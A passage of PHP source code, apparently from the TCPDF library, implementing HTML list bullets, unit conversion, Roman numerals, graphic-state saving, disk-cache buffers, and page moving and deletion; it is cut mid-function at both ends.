$this->xobjects[$this->xobjid]['outdata']; $pstart = substr($pagebuff, 0, $pagemark); $pend = substr($pagebuff, $pagemark); $this->xobjects[$this->xobjid]['outdata'] = $pstart.$ccode.$pend; } else { if (end($this->transfmrk[$this->page]) !== false) { $pagemarkkey = key($this->transfmrk[$this->page]); $pagemark = $this->transfmrk[$this->page][$pagemarkkey]; } elseif ($this->InFooter) { $pagemark = $this->footerpos[$this->page]; } else { $pagemark = $this->intmrk[$this->page]; } $pagebuff = $this->getPageBuffer($this->page); $pstart = substr($pagebuff, 0, $pagemark); $pend = substr($pagebuff, $pagemark); $this->setPageBuffer($this->page, $pstart.$ccode.$pend); $this->bordermrk[$this->page] += $offsetlen; $this->cntmrk[$this->page] += $offsetlen; } } } // end for each page // restore page regions $this->page_regions = $temp_page_regions; if (isset($old_bgcolor)) { // restore background color $this->SetFillColorArray($old_bgcolor); } // restore pointer position $this->x = $prev_x; $this->y = $prev_y; $this->lasth = $prev_lasth; } /** * Set the default bullet to be used as LI bullet symbol * @param $symbol (string) character or string to be used (legal values are: '' = automatic, '!' = auto bullet, '#' = auto numbering, 'disc', 'disc', 'circle', 'square', '1', 'decimal', 'decimal-leading-zero', 'i', 'lower-roman', 'I', 'upper-roman', 'a', 'lower-alpha', 'lower-latin', 'A', 'upper-alpha', 'upper-latin', 'lower-greek', 'img|type|width|height|image.ext') * @public * @since 4.0.028 (2008-09-26) */ public function setLIsymbol($symbol='!') { // check for custom image symbol if (substr($symbol, 0, 4) == 'img|') { $this->lisymbol = $symbol; return; } $symbol = strtolower($symbol); switch ($symbol) { case '!' : case '#' : case 'disc' : case 'circle' : case 'square' : case '1': case 'decimal': case 'decimal-leading-zero': case 'i': case 'lower-roman': case 'I': case 'upper-roman': case 'a': case 'lower-alpha': case 'lower-latin': case 'A': case 'upper-alpha': case 'upper-latin': case 'lower-greek': { $this->lisymbol = $symbol; break; } default : { $this->lisymbol = ''; } } } /** * Set the booklet mode for double-sided pages. * @param $booklet (boolean) true set the booklet mode on, false otherwise. * @param $inner (float) Inner page margin. * @param $outer (float) Outer page margin. * @public * @since 4.2.000 (2008-10-29) */ public function SetBooklet($booklet=true, $inner=-1, $outer=-1) { $this->booklet = $booklet; if ($inner >= 0) { $this->lMargin = $inner; } if ($outer >= 0) { $this->rMargin = $outer; } } /** * Swap the left and right margins. * @param $reverse (boolean) if true swap left and right margins. * @protected * @since 4.2.000 (2008-10-29) */ protected function swapMargins($reverse=true) { if ($reverse) { // swap left and right margins $mtemp = $this->original_lMargin; $this->original_lMargin = $this->original_rMargin; $this->original_rMargin = $mtemp; $deltam = $this->original_lMargin - $this->original_rMargin; $this->lMargin += $deltam; $this->rMargin -= $deltam; } } /** * Set the vertical spaces for HTML tags. * The array must have the following structure (example): * $tagvs = array('h1' => array(0 => array('h' => '', 'n' => 2), 1 => array('h' => 1.3, 'n' => 1))); * The first array level contains the tag names, * the second level contains 0 for opening tags or 1 for closing tags, * the third level contains the vertical space unit (h) and the number spaces to add (n). * If the h parameter is not specified, default values are used. * @param $tagvs (array) array of tags and relative vertical spaces. * @public * @since 4.2.001 (2008-10-30) */ public function setHtmlVSpace($tagvs) { $this->tagvspaces = $tagvs; } /** * Set custom width for list indentation. * @param $width (float) width of the indentation. Use negative value to disable it. * @public * @since 4.2.007 (2008-11-12) */ public function setListIndentWidth($width) { return $this->customlistindent = floatval($width); } /** * Set the top/bottom cell sides to be open or closed when the cell cross the page. * @param $isopen (boolean) if true keeps the top/bottom border open for the cell sides that cross the page. * @public * @since 4.2.010 (2008-11-14) */ public function setOpenCell($isopen) { $this->opencell = $isopen; } /** * Set the color and font style for HTML links. * @param $color (array) RGB array of colors * @param $fontstyle (string) additional font styles to add * @public * @since 4.4.003 (2008-12-09) */ public function setHtmlLinksStyle($color=array(0,0,255), $fontstyle='U') { $this->htmlLinkColorArray = $color; $this->htmlLinkFontStyle = $fontstyle; } /** * Convert HTML string containing value and unit of measure to user's units or points. * @param $htmlval (string) string containing values and unit * @param $refsize (string) reference value in points * @param $defaultunit (string) default unit (can be one of the following: %, em, ex, px, in, mm, pc, pt). * @param $points (boolean) if true returns points, otherwise returns value in user's units * @return float value in user's unit or point if $points=true * @public * @since 4.4.004 (2008-12-10) */ public function getHTMLUnitToUnits($htmlval, $refsize=1, $defaultunit='px', $points=false) { $supportedunits = array('%', 'em', 'ex', 'px', 'in', 'cm', 'mm', 'pc', 'pt'); $retval = 0; $value = 0; $unit = 'px'; $k = $this->k; if ($points) { $k = 1; } if (in_array($defaultunit, $supportedunits)) { $unit = $defaultunit; } if (is_numeric($htmlval)) { $value = floatval($htmlval); } elseif (preg_match('/([0-9\.\-\+]+)/', $htmlval, $mnum)) { $value = floatval($mnum[1]); if (preg_match('/([a-z%]+)/', $htmlval, $munit)) { if (in_array($munit[1], $supportedunits)) { $unit = $munit[1]; } } } switch ($unit) { // percentage case '%': { $retval = (($value * $refsize) / 100); break; } // relative-size case 'em': { $retval = ($value * $refsize); break; } // height of lower case 'x' (about half the font-size) case 'ex': { $retval = $value * ($refsize / 2); break; } // absolute-size case 'in': { $retval = ($value * $this->dpi) / $k; break; } // centimeters case 'cm': { $retval = ($value / 2.54 * $this->dpi) / $k; break; } // millimeters case 'mm': { $retval = ($value / 25.4 * $this->dpi) / $k; break; } // one pica is 12 points case 'pc': { $retval = ($value * 12) / $k; break; } // points case 'pt': { $retval = $value / $k; break; } // pixels case 'px': { $retval = $this->pixelsToUnits($value); break; } } return $retval; } /** * Returns the Roman representation of an integer number * @param $number (int) number to convert * @return string roman representation of the specified number * @since 4.4.004 (2008-12-10) * @public */ public function intToRoman($number) { $roman = ''; while ($number >= 1000) { $roman .= 'M'; $number -= 1000; } while ($number >= 900) { $roman .= 'CM'; $number -= 900; } while ($number >= 500) { $roman .= 'D'; $number -= 500; } while ($number >= 400) { $roman .= 'CD'; $number -= 400; } while ($number >= 100) { $roman .= 'C'; $number -= 100; } while ($number >= 90) { $roman .= 'XC'; $number -= 90; } while ($number >= 50) { $roman .= 'L'; $number -= 50; } while ($number >= 40) { $roman .= 'XL'; $number -= 40; } while ($number >= 10) { $roman .= 'X'; $number -= 10; } while ($number >= 9) { $roman .= 'IX'; $number -= 9; } while ($number >= 5) { $roman .= 'V'; $number -= 5; } while ($number >= 4) { $roman .= 'IV'; $number -= 4; } while ($number >= 1) { $roman .= 'I'; --$number; } return $roman; } /** * Output an HTML list bullet or ordered item symbol * @param $listdepth (int) list nesting level * @param $listtype (string) type of list * @param $size (float) current font size * @protected * @since 4.4.004 (2008-12-10) */ protected function putHtmlListBullet($listdepth, $listtype='', $size=10) { if ($this->state != 2) { return; } $size /= $this->k; $fill = ''; $bgcolor = $this->bgcolor; $color = $this->fgcolor; $strokecolor = $this->strokecolor; $width = 0; $textitem = ''; $tmpx = $this->x; $lspace = $this->GetStringWidth(' '); if ($listtype == '^') { // special symbol used for avoid justification of rect bullet $this->lispacer = ''; return; } elseif ($listtype == '!') { // set default list type for unordered list $deftypes = array('disc', 'circle', 'square'); $listtype = $deftypes[($listdepth - 1) % 3]; } elseif ($listtype == '#') { // set default list type for ordered list $listtype = 'decimal'; } elseif (substr($listtype, 0, 4) == 'img|') { // custom image type ('img|type|width|height|image.ext') $img = explode('|', $listtype); $listtype = 'img'; } switch ($listtype) { // unordered types case 'none': { break; } case 'disc': { $r = $size / 6; $lspace += (2 * $r); if ($this->rtl) { $this->x += $lspace; } else { $this->x -= $lspace; } $this->Circle(($this->x + $r), ($this->y + ($this->lasth / 2)), $r, 0, 360, 'F', array(), $color, 8); break; } case 'circle': { $r = $size / 6; $lspace += (2 * $r); if ($this->rtl) { $this->x += $lspace; } else { $this->x -= $lspace; } $prev_line_style = $this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor; $new_line_style = array('width' => ($r / 3), 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'phase' => 0, 'color'=>$color); $this->Circle(($this->x + $r), ($this->y + ($this->lasth / 2)), ($r * (1 - (1/6))), 0, 360, 'D', $new_line_style, array(), 8); $this->_out($prev_line_style); // restore line settings break; } case 'square': { $l = $size / 3; $lspace += $l; if ($this->rtl) {; $this->x += $lspace; } else { $this->x -= $lspace; } $this->Rect($this->x, ($this->y + (($this->lasth - $l) / 2)), $l, $l, 'F', array(), $color); break; } case 'img': { // 1=>type, 2=>width, 3=>height, 4=>image.ext $lspace += $img[2]; if ($this->rtl) {; $this->x += $lspace; } else { $this->x -= $lspace; } $imgtype = strtolower($img[1]); $prev_y = $this->y; switch ($imgtype) { case 'svg': { $this->ImageSVG($img[4], $this->x, ($this->y + (($this->lasth - $img[3]) / 2)), $img[2], $img[3], '', 'T', '', 0, false); break; } case 'ai': case 'eps': { $this->ImageEps($img[4], $this->x, ($this->y + (($this->lasth - $img[3]) / 2)), $img[2], $img[3], '', true, 'T', '', 0, false); break; } default: { $this->Image($img[4], $this->x, ($this->y + (($this->lasth - $img[3]) / 2)), $img[2], $img[3], $img[1], '', 'T', false, 300, '', false, false, 0, false, false, false); break; } } $this->y = $prev_y; break; } // ordered types // $this->listcount[$this->listnum]; // $textitem case '1': case 'decimal': { $textitem = $this->listcount[$this->listnum]; break; } case 'decimal-leading-zero': { $textitem = sprintf('%02d', $this->listcount[$this->listnum]); break; } case 'i': case 'lower-roman': { $textitem = strtolower($this->intToRoman($this->listcount[$this->listnum])); break; } case 'I': case 'upper-roman': { $textitem = $this->intToRoman($this->listcount[$this->listnum]); break; } case 'a': case 'lower-alpha': case 'lower-latin': { $textitem = chr(97 + $this->listcount[$this->listnum] - 1); break; } case 'A': case 'upper-alpha': case 'upper-latin': { $textitem = chr(65 + $this->listcount[$this->listnum] - 1); break; } case 'lower-greek': { $textitem = $this->unichr(945 + $this->listcount[$this->listnum] - 1); break; } /* // Types to be implemented (special handling) case 'hebrew': { break; } case 'armenian': { break; } case 'georgian': { break; } case 'cjk-ideographic': { break; } case 'hiragana': { break; } case 'katakana': { break; } case 'hiragana-iroha': { break; } case 'katakana-iroha': { break; } */ default: { $textitem = $this->listcount[$this->listnum]; } } if (!$this->empty_string($textitem)) { // Check whether we need a new page or new column $prev_y = $this->y; $h = ($this->FontSize * $this->cell_height_ratio) + $this->cell_padding['T'] + $this->cell_padding['B']; if ($this->checkPageBreak($h) OR ($this->y < $prev_y)) { $tmpx = $this->x; } // print ordered item if ($this->rtl) { $textitem = '.'.$textitem; } else { $textitem = $textitem.'.'; } $lspace += $this->GetStringWidth($textitem); if ($this->rtl) { $this->x += $lspace; } else { $this->x -= $lspace; } $this->Write($this->lasth, $textitem, '', false, '', false, 0, false); } $this->x = $tmpx; $this->lispacer = '^'; // restore colors $this->SetFillColorArray($bgcolor); $this->SetDrawColorArray($strokecolor); $this->SettextColorArray($color); } /** * Returns current graphic variables as array. * @return array of graphic variables * @protected * @since 4.2.010 (2008-11-14) */ protected function getGraphicVars() { $grapvars = array( 'FontFamily' => $this->FontFamily, 'FontStyle' => $this->FontStyle, 'FontSizePt' => $this->FontSizePt, 'rMargin' => $this->rMargin, 'lMargin' => $this->lMargin, 'cell_padding' => $this->cell_padding, 'cell_margin' => $this->cell_margin, 'LineWidth' => $this->LineWidth, 'linestyleWidth' => $this->linestyleWidth, 'linestyleCap' => $this->linestyleCap, 'linestyleJoin' => $this->linestyleJoin, 'linestyleDash' => $this->linestyleDash, 'textrendermode' => $this->textrendermode, 'textstrokewidth' => $this->textstrokewidth, 'DrawColor' => $this->DrawColor, 'FillColor' => $this->FillColor, 'TextColor' => $this->TextColor, 'ColorFlag' => $this->ColorFlag, 'bgcolor' => $this->bgcolor, 'fgcolor' => $this->fgcolor, 'htmlvspace' => $this->htmlvspace, 'listindent' => $this->listindent, 'listindentlevel' => $this->listindentlevel, 'listnum' => $this->listnum, 'listordered' => $this->listordered, 'listcount' => $this->listcount, 'lispacer' => $this->lispacer, 'cell_height_ratio' => $this->cell_height_ratio, 'font_stretching' => $this->font_stretching, 'font_spacing' => $this->font_spacing, 'alpha' => $this->alpha, // extended 'lasth' => $this->lasth, 'tMargin' => $this->tMargin, 'bMargin' => $this->bMargin, 'AutoPageBreak' => $this->AutoPageBreak, 'PageBreakTrigger' => $this->PageBreakTrigger, 'x' => $this->x, 'y' => $this->y, 'w' => $this->w, 'h' => $this->h, 'wPt' => $this->wPt, 'hPt' => $this->hPt, 'fwPt' => $this->fwPt, 'fhPt' => $this->fhPt, 'page' => $this->page, 'current_column' => $this->current_column, 'num_columns' => $this->num_columns ); return $grapvars; } /** * Set graphic variables. * @param $gvars (array) array of graphic variablesto restore * @param $extended (boolean) if true restore extended graphic variables * @protected * @since 4.2.010 (2008-11-14) */ protected function setGraphicVars($gvars, $extended=false) { if ($this->state != 2) { return; } $this->FontFamily = $gvars['FontFamily']; $this->FontStyle = $gvars['FontStyle']; $this->FontSizePt = $gvars['FontSizePt']; $this->rMargin = $gvars['rMargin']; $this->lMargin = $gvars['lMargin']; $this->cell_padding = $gvars['cell_padding']; $this->cell_margin = $gvars['cell_margin']; $this->LineWidth = $gvars['LineWidth']; $this->linestyleWidth = $gvars['linestyleWidth']; $this->linestyleCap = $gvars['linestyleCap']; $this->linestyleJoin = $gvars['linestyleJoin']; $this->linestyleDash = $gvars['linestyleDash']; $this->textrendermode = $gvars['textrendermode']; $this->textstrokewidth = $gvars['textstrokewidth']; $this->DrawColor = $gvars['DrawColor']; $this->FillColor = $gvars['FillColor']; $this->TextColor = $gvars['TextColor']; $this->ColorFlag = $gvars['ColorFlag']; $this->bgcolor = $gvars['bgcolor']; $this->fgcolor = $gvars['fgcolor']; $this->htmlvspace = $gvars['htmlvspace']; $this->listindent = $gvars['listindent']; $this->listindentlevel = $gvars['listindentlevel']; $this->listnum = $gvars['listnum']; $this->listordered = $gvars['listordered']; $this->listcount = $gvars['listcount']; $this->lispacer = $gvars['lispacer']; $this->cell_height_ratio = $gvars['cell_height_ratio']; $this->font_stretching = $gvars['font_stretching']; $this->font_spacing = $gvars['font_spacing']; $this->alpha = $gvars['alpha']; if ($extended) { // restore extended values $this->lasth = $gvars['lasth']; $this->tMargin = $gvars['tMargin']; $this->bMargin = $gvars['bMargin']; $this->AutoPageBreak = $gvars['AutoPageBreak']; $this->PageBreakTrigger = $gvars['PageBreakTrigger']; $this->x = $gvars['x']; $this->y = $gvars['y']; $this->w = $gvars['w']; $this->h = $gvars['h']; $this->wPt = $gvars['wPt']; $this->hPt = $gvars['hPt']; $this->fwPt = $gvars['fwPt']; $this->fhPt = $gvars['fhPt']; $this->page = $gvars['page']; $this->current_column = $gvars['current_column']; $this->num_columns = $gvars['num_columns']; } $this->_out(''.$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor.' '.$this->FillColor.''); if (!$this->empty_string($this->FontFamily)) { $this->SetFont($this->FontFamily, $this->FontStyle, $this->FontSizePt); } } /** * Returns a temporary filename for caching object on filesystem. * @param $name (string) prefix to add to filename * @return string filename. * @since 4.5.000 (2008-12-31) * @protected */ protected function getObjFilename($name) { return tempnam(K_PATH_CACHE, $name.'_'); } /** * Writes data to a temporary file on filesystem. * @param $filename (string) file name * @param $data (mixed) data to write on file * @param $append (boolean) if true append data, false replace. * @since 4.5.000 (2008-12-31) * @protected */ protected function writeDiskCache($filename, $data, $append=false) { if ($append) { $fmode = 'ab+'; } else { $fmode = 'wb+'; } $f = @fopen($filename, $fmode); if (!$f) { $this->Error('Unable to write cache file: '.$filename); } else { fwrite($f, $data); fclose($f); } // update file length (needed for transactions) if (!isset($this->cache_file_length['_'.$filename])) { $this->cache_file_length['_'.$filename] = strlen($data); } else { $this->cache_file_length['_'.$filename] += strlen($data); } } /** * Read data from a temporary file on filesystem. * @param $filename (string) file name * @return mixed retrieved data * @since 4.5.000 (2008-12-31) * @protected */ protected function readDiskCache($filename) { return file_get_contents($filename); } /** * Set buffer content (always append data). * @param $data (string) data * @protected * @since 4.5.000 (2009-01-02) */ protected function setBuffer($data) { $this->bufferlen += strlen($data); if ($this->diskcache) { if (!isset($this->buffer) OR $this->empty_string($this->buffer)) { $this->buffer = $this->getObjFilename('buffer'); } $this->writeDiskCache($this->buffer, $data, true); } else { $this->buffer .= $data; } } /** * Replace the buffer content * @param $data (string) data * @protected * @since 5.5.000 (2010-06-22) */ protected function replaceBuffer($data) { $this->bufferlen = strlen($data); if ($this->diskcache) { if (!isset($this->buffer) OR $this->empty_string($this->buffer)) { $this->buffer = $this->getObjFilename('buffer'); } $this->writeDiskCache($this->buffer, $data, false); } else { $this->buffer = $data; } } /** * Get buffer content. * @return string buffer content * @protected * @since 4.5.000 (2009-01-02) */ protected function getBuffer() { if ($this->diskcache) { return $this->readDiskCache($this->buffer); } else { return $this->buffer; } } /** * Set page buffer content. * @param $page (int) page number * @param $data (string) page data * @param $append (boolean) if true append data, false replace. * @protected * @since 4.5.000 (2008-12-31) */ protected function setPageBuffer($page, $data, $append=false) { if ($this->diskcache) { if (!isset($this->pages[$page])) { $this->pages[$page] = $this->getObjFilename('page'.$page); } $this->writeDiskCache($this->pages[$page], $data, $append); } else { if ($append) { $this->pages[$page] .= $data; } else { $this->pages[$page] = $data; } } if ($append AND isset($this->pagelen[$page])) { $this->pagelen[$page] += strlen($data); } else { $this->pagelen[$page] = strlen($data); } } /** * Get page buffer content. * @param $page (int) page number * @return string page buffer content or false in case of error * @protected * @since 4.5.000 (2008-12-31) */ protected function getPageBuffer($page) { if ($this->diskcache) { return $this->readDiskCache($this->pages[$page]); } elseif (isset($this->pages[$page])) { return $this->pages[$page]; } return false; } /** * Set image buffer content. * @param $image (string) image key * @param $data (array) image data * @return int image index number * @protected * @since 4.5.000 (2008-12-31) */ protected function setImageBuffer($image, $data) { if (($data['i'] = array_search($image, $this->imagekeys)) === FALSE) { $this->imagekeys[$this->numimages] = $image; $data['i'] = $this->numimages; ++$this->numimages; } if ($this->diskcache) { if (!isset($this->images[$image])) { $this->images[$image] = $this->getObjFilename('image'.$image); } $this->writeDiskCache($this->images[$image], serialize($data)); } else { $this->images[$image] = $data; } return $data['i']; } /** * Set image buffer content for a specified sub-key. * @param $image (string) image key * @param $key (string) image sub-key * @param $data (array) image data * @protected * @since 4.5.000 (2008-12-31) */ protected function setImageSubBuffer($image, $key, $data) { if (!isset($this->images[$image])) { $this->setImageBuffer($image, array()); } if ($this->diskcache) { $tmpimg = $this->getImageBuffer($image); $tmpimg[$key] = $data; $this->writeDiskCache($this->images[$image], serialize($tmpimg)); } else { $this->images[$image][$key] = $data; } } /** * Get image buffer content. * @param $image (string) image key * @return string image buffer content or false in case of error * @protected * @since 4.5.000 (2008-12-31) */ protected function getImageBuffer($image) { if ($this->diskcache AND isset($this->images[$image])) { return unserialize($this->readDiskCache($this->images[$image])); } elseif (isset($this->images[$image])) { return $this->images[$image]; } return false; } /** * Set font buffer content. * @param $font (string) font key * @param $data (array) font data * @protected * @since 4.5.000 (2009-01-02) */ protected function setFontBuffer($font, $data) { if ($this->diskcache) { if (!isset($this->fonts[$font])) { $this->fonts[$font] = $this->getObjFilename('font'); } $this->writeDiskCache($this->fonts[$font], serialize($data)); } else { $this->fonts[$font] = $data; } if (!in_array($font, $this->fontkeys)) { $this->fontkeys[] = $font; // store object ID for current font ++$this->n; $this->font_obj_ids[$font] = $this->n; $this->setFontSubBuffer($font, 'n', $this->n); } } /** * Set font buffer content. * @param $font (string) font key * @param $key (string) font sub-key * @param $data (array) font data * @protected * @since 4.5.000 (2009-01-02) */ protected function setFontSubBuffer($font, $key, $data) { if (!isset($this->fonts[$font])) { $this->setFontBuffer($font, array()); } if ($this->diskcache) { $tmpfont = $this->getFontBuffer($font); $tmpfont[$key] = $data; $this->writeDiskCache($this->fonts[$font], serialize($tmpfont)); } else { $this->fonts[$font][$key] = $data; } } /** * Get font buffer content. * @param $font (string) font key * @return string font buffer content or false in case of error * @protected * @since 4.5.000 (2009-01-02) */ protected function getFontBuffer($font) { if ($this->diskcache AND isset($this->fonts[$font])) { return unserialize($this->readDiskCache($this->fonts[$font])); } elseif (isset($this->fonts[$font])) { return $this->fonts[$font]; } return false; } /** * Move a page to a previous position. * @param $frompage (int) number of the source page * @param $topage (int) number of the destination page (must be less than $frompage) * @return true in case of success, false in case of error. * @public * @since 4.5.000 (2009-01-02) */ public function movePage($frompage, $topage) { if (($frompage > $this->numpages) OR ($frompage <= $topage)) { return false; } if ($frompage == $this->page) { // close the page before moving it $this->endPage(); } // move all page-related states $tmppage = $this->getPageBuffer($frompage); $tmppagedim = $this->pagedim[$frompage]; $tmppagelen = $this->pagelen[$frompage]; $tmpintmrk = $this->intmrk[$frompage]; $tmpbordermrk = $this->bordermrk[$frompage]; $tmpcntmrk = $this->cntmrk[$frompage]; $tmppageobjects = $this->pageobjects[$frompage]; if (isset($this->footerpos[$frompage])) { $tmpfooterpos = $this->footerpos[$frompage]; } if (isset($this->footerlen[$frompage])) { $tmpfooterlen = $this->footerlen[$frompage]; } if (isset($this->transfmrk[$frompage])) { $tmptransfmrk = $this->transfmrk[$frompage]; } if (isset($this->PageAnnots[$frompage])) { $tmpannots = $this->PageAnnots[$frompage]; } if (isset($this->newpagegroup) AND !empty($this->newpagegroup)) { for ($i = $frompage; $i > $topage; --$i) { if (isset($this->newpagegroup[$i]) AND (($i + $this->pagegroups[$this->newpagegroup[$i]]) > $frompage)) { --$this->pagegroups[$this->newpagegroup[$i]]; break; } } for ($i = $topage; $i > 0; --$i) { if (isset($this->newpagegroup[$i]) AND (($i + $this->pagegroups[$this->newpagegroup[$i]]) > $topage)) { ++$this->pagegroups[$this->newpagegroup[$i]]; break; } } } for ($i = $frompage; $i > $topage; --$i) { $j = $i - 1; // shift pages down $this->setPageBuffer($i, $this->getPageBuffer($j)); $this->pagedim[$i] = $this->pagedim[$j]; $this->pagelen[$i] = $this->pagelen[$j]; $this->intmrk[$i] = $this->intmrk[$j]; $this->bordermrk[$i] = $this->bordermrk[$j]; $this->cntmrk[$i] = $this->cntmrk[$j]; $this->pageobjects[$i] = $this->pageobjects[$j]; if (isset($this->footerpos[$j])) { $this->footerpos[$i] = $this->footerpos[$j]; } elseif (isset($this->footerpos[$i])) { unset($this->footerpos[$i]); } if (isset($this->footerlen[$j])) { $this->footerlen[$i] = $this->footerlen[$j]; } elseif (isset($this->footerlen[$i])) { unset($this->footerlen[$i]); } if (isset($this->transfmrk[$j])) { $this->transfmrk[$i] = $this->transfmrk[$j]; } elseif (isset($this->transfmrk[$i])) { unset($this->transfmrk[$i]); } if (isset($this->PageAnnots[$j])) { $this->PageAnnots[$i] = $this->PageAnnots[$j]; } elseif (isset($this->PageAnnots[$i])) { unset($this->PageAnnots[$i]); } if (isset($this->newpagegroup[$j])) { $this->newpagegroup[$i] = $this->newpagegroup[$j]; unset($this->newpagegroup[$j]); } if ($this->currpagegroup == $j) { $this->currpagegroup = $i; } } $this->setPageBuffer($topage, $tmppage); $this->pagedim[$topage] = $tmppagedim; $this->pagelen[$topage] = $tmppagelen; $this->intmrk[$topage] = $tmpintmrk; $this->bordermrk[$topage] = $tmpbordermrk; $this->cntmrk[$topage] = $tmpcntmrk; $this->pageobjects[$topage] = $tmppageobjects; if (isset($tmpfooterpos)) { $this->footerpos[$topage] = $tmpfooterpos; } elseif (isset($this->footerpos[$topage])) { unset($this->footerpos[$topage]); } if (isset($tmpfooterlen)) { $this->footerlen[$topage] = $tmpfooterlen; } elseif (isset($this->footerlen[$topage])) { unset($this->footerlen[$topage]); } if (isset($tmptransfmrk)) { $this->transfmrk[$topage] = $tmptransfmrk; } elseif (isset($this->transfmrk[$topage])) { unset($this->transfmrk[$topage]); } if (isset($tmpannots)) { $this->PageAnnots[$topage] = $tmpannots; } elseif (isset($this->PageAnnots[$topage])) { unset($this->PageAnnots[$topage]); } // adjust outlines $tmpoutlines = $this->outlines; foreach ($tmpoutlines as $key => $outline) { if (($outline['p'] >= $topage) AND ($outline['p'] < $frompage)) { $this->outlines[$key]['p'] = ($outline['p'] + 1); } elseif ($outline['p'] == $frompage) { $this->outlines[$key]['p'] = $topage; } } // adjust dests $tmpdests = $this->dests; foreach ($tmpdests as $key => $dest) { if (($dest['p'] >= $topage) AND ($dest['p'] < $frompage)) { $this->dests[$key]['p'] = ($dest['p'] + 1); } elseif ($dest['p'] == $frompage) { $this->dests[$key]['p'] = $topage; } } // adjust links $tmplinks = $this->links; foreach ($tmplinks as $key => $link) { if (($link[0] >= $topage) AND ($link[0] < $frompage)) { $this->links[$key][0] = ($link[0] + 1); } elseif ($link[0] == $frompage) { $this->links[$key][0] = $topage; } } // adjust javascript $tmpjavascript = $this->javascript; global $jfrompage, $jtopage; $jfrompage = $frompage; $jtopage = $topage; $this->javascript = preg_replace_callback('/this\.addField\(\'([^\']*)\',\'([^\']*)\',([0-9]+)/', create_function('$matches', 'global $jfrompage, $jtopage; $pagenum = intval($matches[3]) + 1; if (($pagenum >= $jtopage) AND ($pagenum < $jfrompage)) { $newpage = ($pagenum + 1); } elseif ($pagenum == $jfrompage) { $newpage = $jtopage; } else { $newpage = $pagenum; } --$newpage; return "this.addField(\'".$matches[1]."\',\'".$matches[2]."\',".$newpage."";'), $tmpjavascript); // return to last page $this->lastPage(true); return true; } /** * Remove the specified page. * @param $page (int) page to remove * @return true in case of success, false in case of error. * @public * @since 4.6.004 (2009-04-23) */ public function deletePage($page) { if (($page < 1) OR ($page > $this->numpages)) { return false; } // delete current page unset($this->pages[$page]); unset($this->pagedim[$page]); unset($this->pagelen[$page]); unset($this->intmrk[$page]); unset($this->bordermrk[$page]); unset($this->cntmrk[$page]); foreach ($this->pageobjects[$page] as $oid) { if (isset($this->offsets[$oid])){ unset($this->offsets[$oid]); } } unset($this->pageobjects[$page]); if (isset($this->footerpos[$page])) { unset($this->footerpos[$page]); } if (isset($this->footerlen[$page])) { unset($this->footerlen[$page]); } if (isset($this->transfmrk[$page])) { unset($this->transfmrk[$page]); } if (isset($this->PageAnnots[$page])) { unset($this->PageAnnots[$page]); } if (isset($this->newpagegroup) AND !empty($this->newpagegroup)) { for ($i = $page; $i > 0; --$i) { if (isset($this->newpagegroup[$i]) AND (($i + $this->pagegroups[$this->newpagegroup[$i]]) > $page)) { --$this->pagegroups[$this->newpagegroup[$i]]; break; } } } if (isset($this->pageopen[$page])) { unset($this->pageopen[$page]); } if ($page < $this->numpages) { // update remaining pages for ($i = $page; $i < $this->numpages; ++$i) { $j = $i + 1; // shift pages $this->setPageBuffer($i, $this->getPageBuffer($j)); $this->pagedim[$i] = $this->pagedim[$j]; $this->pagelen[$i] = $this->pagelen[$j]; $this->intmrk[$i] = $this->intmrk[$j]; $this->bordermrk[$i] = $this->bordermrk[$j]; $this->cntmrk[$i] = $this->cntmrk[$j]; $this->pageobjects[$i] = $this->pageobjects[$j]; if (isset($this->footerpos[$j])) { $this->footerpos[$i] = $this->footerpos[$j]; } elseif (isset($this->footerpos[$i])) { unset($this->footerpos[$i]); } if (isset($this->footerlen[$j])) { $this->footerlen[$i] = $this->footerlen[$j]; } elseif (isset($this->footerlen[$i])) { unset($this->footerlen[$i]); } if (isset($this->transfmrk[$j])) { $this->transfmrk[$i] = $this->transfmrk[$j]; } elseif (isset($this->transfmrk[$i])) { unset($this->transfmrk[$i]); } if (isset($this->PageAnnots[$j])) { $this->PageAnnots[$i] = $this->PageAnnots[$j]; } elseif (isset($this->PageAnnots[$i])) { unset($this->PageAnnots[$i]); } if (isset($this->newpagegroup[$j])) { $this->newpagegroup[$i] = $this->newpagegroup[$j]; unset($this->newpagegroup[$j]); } if ($this->currpagegroup == $j) { $this->currpagegroup = $i; } if (isset($this->pageopen[$j])) { $this->pageopen[$i] = $this->pageopen[$j]; } elseif (isset($this->pageopen[$i])) { unset($this->pageopen[$i]); } } // remove last page unset($this->pages[$this->numpages]); unset($this->pagedim[$this->numpages]); unset($this->pagelen[$this->numpages]); unset($this->intmrk[$this->numpages]); unset($this->bordermrk[$this->numpages]); unset($this->cntmrk[$this->numpages]); foreach ($this->pageobjects[$this->numpages] as $oid) { if (isset($this->offsets[$oid])){ unset($this->offsets[$oid]); } } unset($this->pageobjects[$this->numpages]); if (isset($this->footerpos[$this->numpages])) { unset($this->footerpos[$this->numpages]); } if (isset($this->footerlen[$this->numpages])) { unset($this->footerlen[$this->numpages]); } if (isset($this->transfmrk[$this->numpages])) { unset($this->transfmrk[$this->numpages]); } if (isset($this->PageAnnots[$this->numpages])) { unset($this->PageAnnots[$this->numpages]); } if (isset($this->newpagegroup[$this->numpages])) { unset($this->newpagegroup[$this->numpages]); } if ($this->currpagegroup == $this->numpages) { $this->currpagegroup = ($this->numpages - 1); } if (isset($this->pagegroups[$this->numpages])) { unset($this->pagegroups[$this->numpages]); } if (isset($this->pageopen[$this->numpages])) { unset($this->pageopen[$this->numpages]); } } --$this->numpages; $this->page = $this->numpages; // adjust outlines $tmpoutlines = $this->outlines; foreach ($tmpoutlines as $key => $outline) { if ($outline['p'] > $page) { $this->outlines[$key]['p'] = $outline['p'] - 1; } elseif ($outline['p'] == $page) { unset($this->outlines[$key]); } } // adjust dests $tmpdests = $this->dests; foreach ($tmpdests as $key => $dest) { if ($dest['p'] > $page) { $this->dests[$key]['p'] = $dest['p'] - 1; } elseif ($dest['p'] == $page) { unset($this->dests[$key]); } } // adjust links $tmplinks = $this->links; foreach ($tmplinks as $key => $link) { if ($link[0] > $page) { $this->links[$key][0] = $link[0] - 1; } elseif ($link[0] == $page) { unset($this->links[$key]); } } // adjust javascript $tmpjavascript = $this->javascript; global $jpage; $jpage = $page; $this->javascript = preg_replace_callback('/this\.addField\(\'([^\']*)\',\'([^\']*)\',([0-9]+)/', create_function('$matches', 